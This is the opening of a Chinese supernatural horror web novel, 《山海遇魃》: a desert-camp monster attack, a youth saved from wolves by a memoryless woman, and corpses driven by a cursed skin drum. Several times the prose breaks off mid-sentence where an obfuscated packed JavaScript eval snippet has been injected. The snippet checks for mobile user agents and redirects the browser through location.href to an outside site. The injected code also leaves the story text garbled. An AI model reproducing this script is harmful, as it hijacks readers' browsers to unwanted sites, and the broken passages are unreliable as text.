《山海遇魃》 1. 序 时间倒退回2014年。 这一年自驾游十分盛行,带火了许多偏远地区的旅游业发展。特别是一二线城市有小孩的家庭,家长们更是利用假期带着孩子去见识祖国的山川河流,体验祖国丰富的地貌和风土人情。 西安的一对小夫妻,两口子都在县城的学校里当老师,膝下育有一子一女,平时也总爱带着孩子四处旅游,这个暑假他们决定前往Z市,去体验从未见过的沙漠之景。 通过一番详细的攻略制定,他们最终在一家名叫"银河系国际沙漠露营基地"的旅行机构订了个两天一晚的沙漠亲子游套餐,套餐包含沙漠露营亲子间一晚,附赠蒙氏早餐4份,此外还包括篝火晚会,烤全羊体验,以及沙漠基础游玩四件套:沙漠越野,骑骆驼,沙漠卡丁车和无限次滑沙。 由于订的晚,亲子间就只剩下帐篷房了,大是够大,有一张1.8m的大床,两张1.2m的小床,睡觉肯定没问题,没有空调,不过这也问题不大,沙漠地区昼夜温差大,即便是选择炎热的八月份去,晚上温度降下来也就十几度左右,根本不需要空调。最大的问题是没有独立卫浴,上厕所和洗澡需要去营地中心的公共卫浴。 夫妻俩就此问题商讨了半天,最终被订单评价上反复刷屏的一句"沙漠露营这件事,你去了后悔,不去遗憾"给说服了,也就一晚而已,想想人生中能有这么个机会,躺在沙漠里,观赏满天繁星,有什么困难是不能克服的呢? 到了出游的那一天,夫妻俩早早收拾好出发,两个孩子还在熟睡,被直接抱到车上,车子一路风驰电掣,在当日下午4点多的时候抵达了营地的接驳站:广湖草原。 负责接洽的领队,是个三十多岁的男青年,开一辆红色牧马人,平时应该不太注重防晒,皮肤晒得黑黢黢的,生的高大健硕,说话却非常的热情和气,“哥嫂哪里人啊?” “陕西西安。” “西安啊,也是很出名的旅游城市啊。兵马俑,我一直想去看看,”说着,露出了向往又有些无奈的神情,“可惜我们这工作没时间啊……” 夫妻俩和小孩都是第一次坐越野车穿行沙漠,新奇之余,也开始期待这次的行程和即将入住的沙漠帐篷。 到了营地后,孩子爸爸去营地中心办理入住手续,妈妈和两个孩子则被直接送到了入住的帐篷区。 广袤无垠的沙漠里,分了好几个露营区域,每个区域按大小差不多放置了20多个白色的穹顶帐篷,像蒙古包似的,他们住的这片区域,全是亲子房。 安放好行李,被告知沙漠游玩项目是安排在另一个较远的营地的,需要明天一大早坐车过去,于是夫妻两人决定今天先在帐篷里休息,孩子们则在帐篷外玩玩挖沙。到了晚上,夫妻二人带着孩子去营地中心吃烤全羊,参加篝火晚会,那天营地游客爆满,大家唱歌跳舞放烟火一直玩到很晚才各自回帐篷睡觉。 临近下半夜的时候,姐姐突然说肚子痛,要上厕所,弟弟已经搂着爸爸睡着了,于是妈妈起来带女儿去上厕所。 厕所在营地中心,离露营区有一段距离,一路上,几乎所有的帐篷都熄灯了,但是营地中心还灯火辉煌,有几个少男少女围坐在篝火堆旁喝酒聊天。 妈妈挑了个窗户旁的位置陪女儿,一边聊天一边透过窗户看外面的夜色。 沙漠的夜晚,天空群星璀璨,营地四周也设置了一些用于拍照打卡的灯饰,在远近明暗不同的灯光映照下,整个沙洲呈现出一种割裂于黑暗的流光溢彩的华丽感,像是一艘巨大的灯火通明的游轮,浮行于夜海之中。 妈妈正欣赏着窗外的夜景,无意中发现这群年轻人的身后,远处似乎有一个1米多高的沙丘,一直在不断的移动。她只当自己是眼花了,把光影效果看成了动态,正好女儿说好了,她便低头去帮女儿擦屁股,等到再次抬起头,她不经意地向窗外一瞥,发现那移动的沙丘已经来到这群年轻人的身后,像小时候玩丢手绢的游戏一样,在这群人身后重复的移动着,然后突然的,沙丘在其中一个男生的后面停了下来。 说时迟那时快,只见那沙丘像张开口的巨兽一样,露出了锋利的獠牙,一口将那个男生整个吞了进去! 而那群年轻人显然喝多了还不知道危险已经降临,只是突然消失的朋友和多出来的小沙丘让他们迷惑不已,甚至扒了扒那沙丘,以为对方在玩什么高级魔术。 直到那沙丘继续移动,移动到众人面前,然后像个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“喂,你怎么睡地上?”陈颖疑惑地问。 杨扬一动不动,没有回答。 随着手机电筒的光不断下移,陈颖看见杨扬的腹部有一个黑色的大洞,像是被人掏空了内脏,自腹部以下,直到双脚,竟一点皮肉不剩,只余森森白骨。而地面上,有一颗头颅,面容被杂乱的头发遮挡,只能看见那猩红滴血的唇齿,正在"咯吱咯吱"的啃着怀里的脚趾骨…… 2. 第 1 章 深夜,寂静的山岭。 夜色浓密的像黏稠的墨汁,涂抹在山谷之间。丝丝缕缕的雾气,幽灵般无声无息的漂浮着。这山间唯一的一条道,是不足两米宽的一条盘山小径,回环曲折,隐入幽深。 四周静的可怕,只余喘息声渐次急促。他拼命赶路,想走出这片丛林,然而每转过一个弯口,看到的不过是更为庞大的黑暗,和更加幽深的山林。 雾越来越来大,像一团浊白的云倒扣在山间,与周围的夜色形成了鲜明的分层。他不知道是他自己走进了这雾中,还是这片雾悄无声息地包围了他,只是惊觉间,眼前,身后,已俱是白茫茫一片。 “你是谁?” 一个陌生的声音响起。 四周一片寂静,万物如同陷入沉睡,他发现这个声音竟是从他心底传出来的。 “我是谁......”他喃喃,极目远眺,想要看到这片雾的尽头,而那尽头之处,黑暗仿佛生出了形体,以怪异扭曲的姿势开始入侵这片浓雾。 他眼睁睁看着那黑暗恶兽般涌来,它们撕开漫天萦绕的雾气,化作各种妖魔鬼怪的实形,嗤笑着,叫嚣着,张开巨大的黑色的嘴巴,撕咬啃食着整片山林...... ******** 一阵寒风吹进了帐篷里,沈半人裹紧了冲锋衣,身上还是沁出阵阵寒意。 高海拔地区,早晚温差大,白日里,太阳火辣辣的烘烤着大地,到了夜里,温度断崖式下降,一冷一热空气对流,就会形成强风。帐篷本身稳定性,隔声性能就差,大风一吹,摇摇晃晃,再加上枯枝碎叶打在篷布上,各种声音强弱交杂此起彼伏,稍微有点想象力的都会联想到什么冤魂索命怨灵恸哭...... 沈半人猛的从铺上坐起来,睡意全消,他竖起耳朵,秉气敛声,全神贯注的听着帐篷外的动静。 清明盛世,朗朗乾坤,即便在这深山密林中,也不怕什么妖邪作祟。他真正怕的,是这荒郊野外最可能遇到的......豺狼虎豹...... 小心翼翼地靠近唯一没拉上篷布的透气纱窗口,弯腰将脸慢慢贴过去,这次他听的异常清晰,那一声又一声呜咽的风声中,夹杂着像是来自狼的低沉而危险的吼声...... 不会吧不会吧不会吧!! 真,怕什么来什么?? 沈半人脑子炸成了一锅浆糊,崩得直挺挺的后背此刻滚烫无比,额头上却沁出了冷汗。明明大气不敢出一声,却又不得不硬着头皮翻身下床从背包里迅速抽出一把军用瑞士刀,紧紧的握在手里。 他努力给自己壮胆:畜生而已,也不定敢扑上来攻击人,真来了大不了就是个死! 等下,被野兽活活咬死会很痛苦吧?他突然想起之前在网站上看到的“灰熊吃人”的视频,那个视频画面基本都打了马赛克,但光听那人的惨叫声和骨头被啃碎的声音就已经令人头皮发麻,深感不适了。而且那个人被足足折磨了6分多钟才真正断气,想到自己很可能会经历这一切...... 沈半人赶紧摇了摇头,努力驱开这不祥的念头,如果实在打不过了,他看了看手里的刀,大不了就用这把刀直接切进脖子里,听说这是最保险最快速的死法,主要他也没把握能正确捅到其他要害。 这么胡思乱想着,反而是感觉轻松了些,身体也不似刚才那般紧张的无法动弹了。那狼到底也还没攻击帐篷,刚才找刀的时候藐了眼表,已经是凌晨3点多了,也许能苟到天亮? 还来不及给这个想法更多的肯定,几声尖锐嘶吼划破了长夜的寂静,随即帐篷被大力冲撞的变了形。 沈半人一口气憋在嗓子口,握着刀的手颤抖起来,别看他183的大高个一副年轻帅小伙的模样,实际上平时疏于锻炼,身上的肌肉量屈指可数,而且几乎没有任何野外活动的经验!背包,冲锋衣,登山鞋,瑞士刀和帐篷等倒是托所谓的业内高价代购的,但具体什么性能和作用他还没来得及一一了解,而且他压根忘记了准备些防野兽的工具,代购的人看他菜鸟一个,也想不到他敢这么个野营法,都堪比贝爷的荒野求生了。 眼看帐篷被扒拉开一个口子,露出野狼灰白的毛发和绿幽幽的眼珠,沈半人豁出去了,决定先发制狼,他冲过去,手里的刀朝着洞口一通乱扎,大部分都落了空,有那么一两刀似乎是扎中了,但明显气力不济,只伤到了狼的皮毛,还反被激怒的狼身体猛的一拱摔出去老远。直到野狼窜进来嘶叫着压到他身上,他才真正反应过来何为猛兽,力量和速度上的悬殊简直令人绝望。 一头成年狼的体重大概在60到80公斤之间,也就是说此时相当于一个身材适中的成年男性用尽全身力气压在他的身上,胸口被压迫的喘不过气来,头顶上方呼呼地传来动物腥臭滚热的气息,混杂着像是涎水一样黏腻的分泌物。 本就被摔的七荤八素的沈半人此刻胃里翻江倒海,想稍微调整个角度吐一下,奈何野狼的钳制密不透风,腰下面像硌在坚硬的石头上一样酸麻苦痛,他想起来这是他的背包。突然灵光一现,他记得他的背包侧面口袋里有个防风打火机,他伸手摸索着掏出来,在野狼即将咬上他脖子的时候点燃了打火机,野狼被火烧疼了肚子,惊的立马松开了猎物,沈半人抓住时机,连滚带爬的从帐篷的豁口里跑了出去。 才跑出去几步远,发现外面竟然还有一只狼,绿幽幽的眸子,正冷冷的看着他。 沈半人僵立在原地,身后,传来愤怒而压抑的吼声,是刚才那只被他烧伤的狼追了出来。 看来这次是必死无疑了。沈半人再次点燃打火机,幽蓝火光映衬着他苍白而年轻的面容,竟也有些坚毅无畏的样子,“来啊!”他大喊,“反正已经窝囊的活了这么多年了,总不能再窝囊的死去吧!” 那两只狼倒是很给面子,听到他的挑衅后竟一前一后同时扑了上来,沈半人闭上眼睛挥舞打火机的时候心里其实后悔的要死,虽然知道就算跪下来求饶,也不会有什么鸟用,但激怒它们只怕会让自己死的更惨…… 预想的攻击并未落到身上,黑暗中似乎有个身影闯进了战局,来人身手极为敏捷,在狼跃起的瞬间,身子灵活下倾,伸手捞住一只狼的前爪,然后顺势借力将这只狼狠狠撞向另一只狼。两狼相撞后,一起摔落到地上,复又立马站起,恶狠狠的盯着来人。 却见那人丝毫不惧,手里不过一根寻常木棍,却仿佛施了千斤气力朝两狼身掷去,两狼躲避不及同时被打翻在地,木棍余劲未消又径直打在树上,竟把粗壮的树干打出一指深的裂缝来。这一下警告意味更重,但也把两只狼打得心生畏惧,于是不再恋战,夹着尾巴逃窜而去。 沈半人在一旁看的目瞪口呆,等到反应过来结束了才又感激地看向自己的救命恩人,发现那居然是个女生。穿的改良过的藏式睡袍,身形苗条挺拔,长长的头发披散着,夜色中看不清长相,但看轮廓也知道绝对是个大美女,年纪也就二十五六的样子。 “你好,美女,刚才真是谢谢你了!认识一下吧,我姓沈,杭州人,外号半人,你可以叫我沈半人。” 他在报出自己这个名号的时候,以为对方下一句肯定会问他,为什么会有这么奇怪的外号,可美女看都没看他一眼,捡起方才打斗间落在地上的眼罩,转身径直往一个方向走去,原来她的帐篷就在不远处灌木丛旁的一处洼地里。 难道是藏民,听不懂汉话?看着倒是不像,再说就算是藏民,荒郊野外,一个女生独自出来露营过夜也不合理吧,而且周围也没见牛羊马匹什么的。 或者她可能是过路的登山客?跟驴友团走失的徒步旅者? 沈半人还在疑惑的时候,对方已经合上帐篷拉链,显然并不愿意与他多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478062|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说一个字。 真是个奇怪的人啊。 沈半人在心里嘀咕着,走到自己帐篷前时突然停了下来,想了想,转身去拔掉了防风钉,把自己的帐篷往那洼地的方向挪了十几米,又拿了几件衣服堵住了刚才被狼嚯开的口子上。 就这么将就着再凑合一会儿吧,等天亮了一定要尽快下山,找个村镇住下。 劫后余生的欣慰很快被连日来长途跋涉的倦意压倒,躺下来的时候他还忍不住在心里叹道:看来老天对我也不薄啊,行此人迹罕至,死了连尸体都不定找到的绝境之地,居然还能遇上一个身怀绝技又肯拔刀相助的美女邻居,怎么不能算是运气傍身的呢? ******** 沈半人一觉睡醒的时候,外面已是天光大亮。迷迷糊糊走出帐篷,往那洼地的方向看了看,早已没了那帐篷的踪影,看来美女邻居已然离开了。 回到帐篷,沈半人从背包里掏出个矿泉水瓶,里面装的是他从山下服务区里接来的自来水,专门用来洗漱的。大西北地区常年干旱少雨,仅有的几个湖泊还大多是咸水湖,有时候翻过一整座山都不见得能找的到一条干净的小溪流,所以自打他来到这里,就养成了随时接水的习惯。 洗漱完,吃了半个馕饼当早饭,九点多的时候,他收拾好行李下山。 山下是一个藏族自治村,虽然位置偏僻,又下着雨,但这时节正是旅游的旺季,马路上一辆又一辆的大巴车络绎不绝,路边也停了许多外地牌照的私家车,游客有下来拍照的,有跟藏民买牦牛肉干的,买酸奶的,买蜂蜜的,好不热闹。 沈半人找了个人不多的路边小饭店,点了份蘑菇牛肉盖饭,一杯酥油奶茶。等饭的间隙,他从背包的最里面翻出来一个毡布小包,打开,里面是一块旧式的羊皮地图,看上去似乎是很古老的物件了,地图上有些路线和标识都看不清楚了。 沈半人手指点上其中一个蓝色五角星的标识,若有所思,这个通道究竟在哪里呢?山就是那座山,可我明明已经尝试着从各种不同的方向下山了,为什么就是找不到这个通道呢? 会不会这张地图太老了,上面的路线根本已经失效了呢? 或许该问问当地人,看看有没有人见过这个通道…… 他想的太过投入,没注意到此时店里又进来了一位客人,这位客人似乎并不是来用餐的,她环顾一圈,发现了沈半人,于是径直朝对方走过去。 沈半人上学的时候,高低也是个校草级别的大帅哥,浅聊过的校花没有两只手,也一只手过半了,但还是第一次被一个大美女这么近距离的高清怼脸,差点紧张的话都不会说了。 也不怪他没出息,现在这社会要说美女那可实在是司空见惯,各种妆面,发型,服装,滤镜,角度,随便组合一下都能东施变西施。 可眼前这位,确实称得上传统意义上的顶级美人了,鹅蛋脸,杏仁眼,美的像一幅山水丹青画,再加上羊脂玉般白皙细腻的肤质,雪中红梅般清冷幽艳的唇色,让原本明艳端庄的气质,又增添了几分温软娇媚,简直活色生香具象化。 “我问你,“美女开口,竟连声音都动人心魄,“今天凌晨,我是不是救过你?” 沈半人闻言才反应过,眼前这位就是凌晨帮他打退那两只野狼的美女邻居啊! 不等他回答,美女又继续说道:“今天凌晨,你被两只狼攻击,吵醒了我,我出手帮你打跑了狼。” “还有,你说你姓沈,杭州人,外号沈半人,对吗?” 沈半人多少有点感动对方竟然把自己说的话都听进去了,想说点什么,却又被对方目光中那种克制又急待肯定的情绪深深的震撼。 怎么说呢,那是一种溺水了很久,在生不如死的时候终于抓住了一根救命稻草的感觉。 他郑重的点了点头:“对。” 3. 第 2 章 一辆满载着游客的大巴车沿着227国道缓慢行驶,这趟旅游路线是从西宁出发前往祁连山大草原,沿途还会经过达坂山w观景台和门源油菜花景区,这两个地方也是本次旅行的重点打卡地。现在车子就行驶在通往达坂山观景台的盘山公路上。 今天早晨下了点雨,天空阴沉沉的,气温也比较低,车上的乘客被回环曲折的山间公路绕的昏昏欲睡,只有司机,还在兢兢业业的开车,不敢有丝毫松懈。 车子越爬越高,此时显示仪显示海拔已经达到了3700多米,不少乘客出现了轻微的高原反应,脑袋昏昏沉沉,人也是半梦半醒的。 而车子在穿行过达坂山隧道后碰上了更加糟糕的情况,山顶起了大雾。即便司机常年开惯了这条线路,也不禁惊讶于这场大雾的级别多少年也难得见一次。 这种情况按理说是不能再行车了,但这大雾一时半会儿散不了,而车上乘客大多都有着密集的行程安排。再说停在这随时都有落石风险的半山坡上只会让乘客面临的风险系数更大。 再三权衡之下,司机还是决定继续行驶,只是为保安全,行驶速度非常缓慢。 …… 这条雾中的公路看不见尽头,也仿佛开不到尽头。就在司机都怀疑自己是不是走错路的时候,前方浓白的雾气中,影影绰绰的浮现出一些彩色的光影。 司机开始兴奋起来,因为这很可能是达坂山观景台上的彩色经幡,这意味着他们即将要到达景点。于是,他稍稍提速,努力朝这光影开去。 光影越来越近,也越来越清晰,等到司机终于看清楚了那光影根本不是什么经幡,而是一个身着藏服的少女的背影,车子猛的刹停下来。 那背影纤细而美好,鲜艳的红色藏服上戳满玛瑙和五色琉璃珠,一条细细的白毛绒自肩膀穿过胸前一直延伸到另一只手臂的袖口,勾勒的腰肢和胳膊更加的秀美婉约。 只是这样一幅色彩佚丽的美人图出现在这一片白茫茫的大雾中,说不出的古怪和诡异。 四周突然传来一阵阵的鼓声,时轻时重,若有若无,像嗤笑,又像啜泣。 老话说,山里的大雾会开启一些特别的通道,所以大雾天不能进山,容易遇到邪祟。 司机此时心头泛起了不祥的预感,他刚想摁喇叭让前面的少女让路,就见那少女背对着他缓缓的举起了右臂,那鲜艳的绰着白色绒毛的袖袍里逐渐地露出一只形状美丽却没有皮肉的手...... ******* “让我来捋一下,”沈半人尝试着总结自己刚才听到的所有信息,“你的意思是你不知道自己谁,不知道自己从哪里来,不知道自己已经活了多少岁了,甚至你都不能确定自己是不是人。” “你活了很久了,至少得有七八十年,但是你的容貌就一直保持二十多岁的样子,没老过,没病过,也根本死不掉。” 沈半人掰着手指一条一条认真的捋顺,同时眼神看向对方以寻求对方的最终确认,毕竟这在常人听来简直天方夜谭。好在,他也不算是什么常人。 “你有正常人的思维能力和生活能力,有一定的文化基础,也有基本的情绪感知能力,需要吃饭喝水和睡觉,也能感受到疼痛和疲惫。” “但你最大的问题是,你不记事,或者说你的脑子无法储存跟事件,包括事件相关人的记忆,每天白天,太阳升起的时候,就会忘记夜晚发生的所有事情,同样的,太阳落下的时候,你又会忘记白天所发生的任何事情。所以你的人生,虽然可能已经活得很久很久了,但是你的脑子里始终是一片空白。” “直到,”沈半人停顿了一下,自己都有点难以置信,“你遇见了我,你突然发现你能够记得我,记得跟我之间发生的所有事情,甚至记得每一个细节。” 九瑶点点头。 “最后一个问题,你的名字是谁起的?” 远处,一辆大巴车缓缓驶来,停在了沈半人刚才用餐的那家小饭店前。 九瑶认真的想了想,但依然是什么也没想起来。 “不知道,但冥冥之中,我总是会听到一个声音,它就是这么唤我的。” “所以说,我目前能令你记得的就只是我们在一起时发生的事情,却并一定能够让你想起曾经发生的事情。” 九瑶默认。 不知道是在哪一年,有人教过她用记日记的方法来记录每天发生的事情,她也确实这么做了,可每每去翻阅那些日记,对她曾经做过的事情,曾经结识过的人,曾经无数次感受过的各种情绪却生不出一点点的印象和感情。 渐渐的,她也就麻木了,无所谓了。她是一个没有过去和未来的人,用一个活着的行尸走肉来形容也不为过。 大巴车门打开,但很长一段时间根本没人下车。 “虽然不知道究竟是怎么一回事,也不知道这种情况是不是偶然的,"沈半人思索片刻道:”但既然你跟我在一起时,能够暂时保留住自己的记忆,那么我倒有个提议,你愿不愿意跟我结个伴同行?” “一方面我有一些很重要的事情要去处理,你的身手好,我需要你的帮助,而你也可以继续待在我身边,看看能不能想起更多从前的事情来。另一方面,或许我要去的地方,跟你的来处也会有莫大的关联,你可以试试......” 小饭店的老板大概也注意到了那辆大巴车的古怪,他满心欢喜的以为生意来了,结果等了半天就是不见一个乘客进来店里用餐。那既然不来用餐,就不要挡在店门口啊。他从店里出来,冲敞开的大巴车前门喊了句:“喂,师傅,不吃饭的话麻烦把车子挪开好吧,挡我......” 话还没说完,仿佛是看见了什么极为可怕的东西,突然整个人瘫倒在地,手颤抖的指着大巴车,表情惊恐万状…… “那是什么东西?”九瑶突然问。 只见刚才那辆大巴车上,陆陆续续下来一些奇怪的东西,说东西是因为那根本不可能是人。 没有人,可以将肢体扭曲到那种程度,仿佛被蛮力压缩过,然后塞进一个很小很小的罐子里,又好像是被大力碾碎过,再一块一块缝补起来,早已不成人形。 可它们还能动,它们陆陆续续的从大巴车上下来,姿势诡异,情状恐怖,有一个没站稳直接趴在了那小饭店老板的身上,黏糊糊的触感,那小饭店老板吓得失声尖叫,下一秒便被那东西狠狠咬住了脖子,鲜血像开了闸的自来水一样向外冒,小饭店老板身体抽搐了几下,便不再动了。 天已经擦黑,大巴车上下来的诡异东西越来越多,它们漫无目的的四散在这个本就不怎么大的村子里,随机的寻找无辜路人下手。 九瑶一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478063|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚踢开迎面向她扑来的一个,回过头叮嘱沈半人:"躲好了,有危险叫我!" 他是她这么多年好不容易找到的,唯一可能跟她的身世有关的人。所以也是她现在唯一在意的人。 九瑶加入了战局。沈半人生为菜鸟也有作为菜鸟的觉悟,他一边东躲西藏,避开那群东西,一边保持着九瑶始终在自己的视线范围内。 九瑶也许不知道,对她而言,沈半人是联结着过去和未来的线索,但对沈半人而言,她却是救命的菩萨。 事情似乎比想象的还要复杂,沈半人看见刚才嗝屁的小饭店老板已经成功转化成那东西了,他是被咬断脖子死的,所以歪着个头,一瘸一拐的,见人就咬。 “这群东西果然不是人,”,沈半人心想,“它们是刚死不久的,人尸。” 既然是人尸,那就肯定有赶尸的东西。 什么声音?沈半人凝神倾听,风中,似乎传来一阵阵的鼓声,时强时弱,若有若无。 以九瑶的身手而言,这群东西根本不耐打,一碰就倒,一击就碎,就算全部一起上也不能动她分毫。坏就坏在,它倒了能爬起来,碎了能重新组装,而且它们打不死就算了,还一直在转化其它活人。这到底是个什么东西? 沈半人循着鼓声努力辨别着方向,似乎是从那大巴车里传出来的,他慢慢走过去。 鼓声越来越近,越来越清晰,一时如巫师的唱咒声,一时如僧侣的颂经声,一时又如少女低笑轻啜的声音。 沈半人上了大巴车,一时间所有的喧嚣都没了,四周死一般的安静。于黑暗之中,他看见大巴车的驾驶座上放着个精巧美丽的小鼓。 他从来都没有见过这么漂亮的小鼓,形状曼妙,色彩斑斓,细腻的鼓面仿佛少女吹弹可破的肌肤,在黑暗中散发着圣洁莹润的光芒。鼓面还用胭脂淡淡勾画了一朵初开的芍药。 袅袅青归柳,痕痕绿满池。小栏藏秀色,芍药殿春迟。 黑暗中,那小鼓形单影只,仿佛错了春的花朵,温柔而落寞。 沈半人心底升起了一股怜爱,他忍不住伸手去触碰那光洁莹润的鼓面,刚要碰到却突然被人大力攥住了胳膊,他吃痛反应过来,是九瑶拉住了他。 “是怨灵赶尸,怨灵就藏在这鼓里头,把鼓烧了!”他道。 九瑶虽然不明白,但也愿意听他的。背包里有打火机,沈半人摸出来,刚打着,大巴车被外面那群人尸包围了,它们疯狂的撞击车身,沈半人一个不稳,打火机摔了出去,引燃了前排的座椅。 大巴车已经被撞的变了形,浓烈的汽油味弥漫在空气中,车子随时都会爆炸。九瑶拉着沈半人立马往车下跑,人尸全都围了过来,九瑶在前面暴力开路,沈半人却突然发现自己的背包刚才在撞击中也落到了大巴车上。他想都没想立刻回头,等拿到包再想要下去,火势已经蔓延到车门口,完全堵住了出路。 而九瑶被一堆人尸围着,一下子脱不开身。 千钧一发之际,有个人从车子外面敲破了大巴车的车窗,大喊:“快跳出来!”沈半人抱紧了包,眼一闭,心一横,一个助跑朝窗外猛的跃出去。 “嘭!”惊天巨响中,大巴车爆炸解体,蘑菇云腾空而起,沈半人被气流冲出去老远,重重地跌落在地。还好是松软的泥土地,他想,终是又捡回了一条命。 4. 第 3 章 这一摔,虽然小命保住了,也着实摔的不轻。沈半人想从地上爬起来,可稍一动便疼的龇牙咧嘴,骨头跟被人拆散过一样。 “兄弟,没事吧?”一个善意的询问声响起。 沈半人记得刚才就是这个声音让他跳车的,他抬头,眼前是一个二十出头的青年,轮廓硬朗,眉宇英气,看身姿像是个当兵的,给人一种周正又很可靠的感觉。 “骨头要不要紧,这附近有个诊所,大夫的正骨技术还不错。” “不用了不用了,小问题而已。”沈半人笑嘻嘻地回应,一边努力坐起来,那人搭了把手,帮他靠坐在一棵大树下。 “你是汉族的?游客?”沈半人问。 “是汉族人,老家宁波的,我爸生前在这儿当兵,就住隔壁村子,我从小就跟过来生活,在这待了有十多年了。” “原来是老乡啊,”沈半人有点意外,又很开心,“我是杭州的,对了,你叫什么?” “我叫靳川。” “靳川,刚才真是谢谢你啊,多亏你及时把车窗敲破,不然我今天就要葬身火海了!” “不用客气。你和你的朋友,也帮了很大的忙。”靳川微笑道。 两个人说话间,九瑶走了过来,她跟靳川在打人尸的时候照过面了,所以两人也算是结识。 “我刚才也看了一圈,除了爆炸被炸成的尸块,还有好些村民是被咬死的,等会儿警察来了,我们可能无法解释清楚发生了什么。”靳川看着一片狼藉的马路,有点担忧。 “解释不清楚就不用解释了,说了人家也不会相信,还会觉得我们有问题。”沈半人提议。 九瑶问沈半人:“你刚才说怨灵赶尸,是什么意思?” “湘西赶尸”靳川倒是听过,但怨灵,还能赶尸? “你们也看到了,从车上下来的那些,都不是活人。”沈半人向他们两个解释,“我看他们那个样子,多半是大巴车在山间行驶的时候被落石砸到了,一车的人都死了。但他们死的太突然了,灵魂可能都没意识到躯体的灭亡,就被其他意识更强烈的怨灵钻了空子,变成了傀儡。” “你们刚才没注意到吧,那些人尸确实能把人咬死,但他们的身体其实是脆的,因为他们骨头基本都被压断了,怎么可能把大巴车撞变形呢,是因为那大巴车本来就变形了,被石头砸的吧,只是我们被障眼法蒙蔽了。” “你说的怨灵,就是那只鼓?”九瑶想通了,“所以你刚才要烧鼓,是为了除掉鼓中怨灵。” 沈半人点头确认:“那只小鼓,叫阿姐鼓。不是阿姐敲的鼓,是阿姐的皮制成的鼓。” “我知道,”靳川补充,“十五六岁无疾而终的少女,在她们还活着的时候,剥下整张背部的皮制成的人皮鼓。是藏族旧时的祭祀传统。” 九瑶闻言皱起了眉头,这听起来似乎比野兽吃人更残忍。 可人类啊,本就是这世间最复杂莫测的生灵。 “我听说剥皮的手法十分残忍,那些少女生前遭了这么大的罪,又以这么痛苦的方式死去,心中的怨念肯定很深。那鼓制成了又被用来祭祀祝祷,试问别人用你的痛苦来祈愿,驱邪消灾,交换福祉,你心中恨不恨?时间久了,恨意实质化,便附在鼓上成为鼓中怨灵。” “可这都是多少年前的事情了,即使还有阿姐鼓这种反人类的东西存在,也应该都被放到博物馆去了吧,怎么会出现在那辆大巴车上?”靳川还是不解。 沈半人看着熊熊烈火中剧烈燃烧着的车架,幽幽道:“或许,与我有关。” 九瑶和靳川闻言疑惑地看着他。 “靳川”,沈半人道,“你能不能问问我叫什么?” 靳川不明所以,还是按他说的做了:“请问你叫什么?” “我叫沈半人。半人半鬼的那个半人。” 在靳川疑惑的目光下,沈半人继续道:“我接下来要说的事情,可能九瑶小姐觉得没什么,因为你身上稀奇古怪的事情就已经够多的了,但是靳川,你父亲是当过兵的,刚才我们说鼓灵你已经不太相信了,后面你可能会更难相信。” “你不信也没事,就当个故事听听吧。” 靳川点点头。 沈半人开始讲述:“你们听过阴牌吗?我说的不是那种对鬼魂进行超渡仪式的佛牌,而是以人骨,胎婴,亡灵等阴物入牌,以特殊的术法加以封印,用来求偏财,改姻缘,换天命,施诅咒的阴牌。” “一牌一价,你的欲望越大,所求越高,需要的牌底就越贵,付出的代价也越大。” “炼鬼俑听过吗?挑那些成型的死胎,在它们分娩出母体后,向它们灌注水银,然后将死胎封入彩塑中,每日以镇鬼咒压制,使其亡魂无法往生。” “这样养出来的鬼俑,怨气冲天,无法教化,能弑神杀佛,破一切度法。” “还有遣阴兵,听过吗?传说上古时期,有一个家族专司祭神通鬼,他们上可达天听,下可遣万鬼,除了神和帝王,就属他们的地位最尊崇。而且他们掌握着世间一切的术法,高尚的,邪恶的,光明的,黑暗的,他们将这些术法牢牢的握在手里,一代又一代的传承下去,独享这些术法给他们带来的至高无上的权势,地位……” “我便是来自这样的家族。我的家族依靠这些传承的术法积累了泼天的财富和名望。打我记事起,我见过的死物比活人还多。” 想起那些年在杭州老家度过的日子,沈半人心情复杂,他一直不愿回忆,可回忆从未放过他。 他故作轻松道:“你们肯定觉得我的家族做的都是伤天害理的事情吧?我也是这么觉得的,当我第一次亲眼目睹他们是如何残忍的炼制出一个鬼俑,并用这个鬼俑去为那些十恶不赦的人作伥时,我对我的家族便只有厌恶和痛恨。” “当然,他们连我也没有放过。” “我刚才说了,底牌越贵,代价越大,这对于我的家族同样适用。越贵的底牌,就需要越高级的术法,不管我们的祖先如何的神通广大,历经百世以后,我们现在也就是普通人类,而普通人类的身体是没有办法承受那些过高级别的术法的,特别是那些族律里明令禁止的术法。” “可我的祖先怎么可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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曾经,他因对家族那些损人利己的术法深恶痛绝,不愿同流合污,所以坚决不肯修行。现在,他却因为不会使用术法,成了到哪里都会引起恐慌和死亡的灾星。 